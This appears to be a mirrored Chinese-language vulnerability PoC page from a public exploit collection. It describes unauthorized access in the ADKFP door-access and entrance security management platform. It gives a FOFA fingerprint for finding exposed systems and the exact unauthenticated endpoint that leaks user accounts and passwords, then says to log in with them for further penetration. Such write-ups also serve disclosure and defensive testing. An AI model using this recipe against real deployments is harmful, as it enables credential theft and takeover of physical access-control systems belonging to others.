mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 21:04:50 +08:00
29 lines
1.8 KiB
Markdown
29 lines
1.8 KiB
Markdown
|
# 费浦门禁出入口安防平台aDKManageUser存在未授权访问
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
ADKFP门禁出入口综合安防管理平台，企业出入口系统采用两级运营管理方式，即“集中控制，分散管理”的方式实现企业管理中心和各企业合作运营的管理模式。 企业出入口系统的所有功能，都是以功能模块的形式提供。模块化的好处是能适应用户的需求，系统可任意搭配，互相配合，能够组合式适应用户需要，与用户的管理模式紧密结合。系统覆盖基础平台、身份信息平台、设备管理、门禁管理、考勤管理、访客管理、车辆门禁、电子门锁管理、移动端管理，智能办公模块包含智能迎宾、会议签到、布控抓拍、报警信息推送等多个应用子系统，所有子系统可实现信息共享，统一服务于整个企业出入口平台。 ADKFP门禁出入口综合安防管理平台存在接口未授权访问，可通过访问接口获取系统账号及密码，进而登录系统后台进行下一步渗透。
|
|||
|
|
|
|||
|
|
# 二、影响版本
|
|||
|
|
+ ADKFP门禁出入口综合安防管理平台
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
+ fofa`body="/adkfp/getCode"`
|
|||
|
|
+ 特征
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 四、漏洞复现
|
|||
|
|
```plain
|
|||
|
|
/aDKManageUser/selectCll_2?roleId=2&page=1&limit=10
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
使用泄漏的账号密码登陆系统
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-02-29 23:57:11
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ox6ro65l6vgz2hl5>
|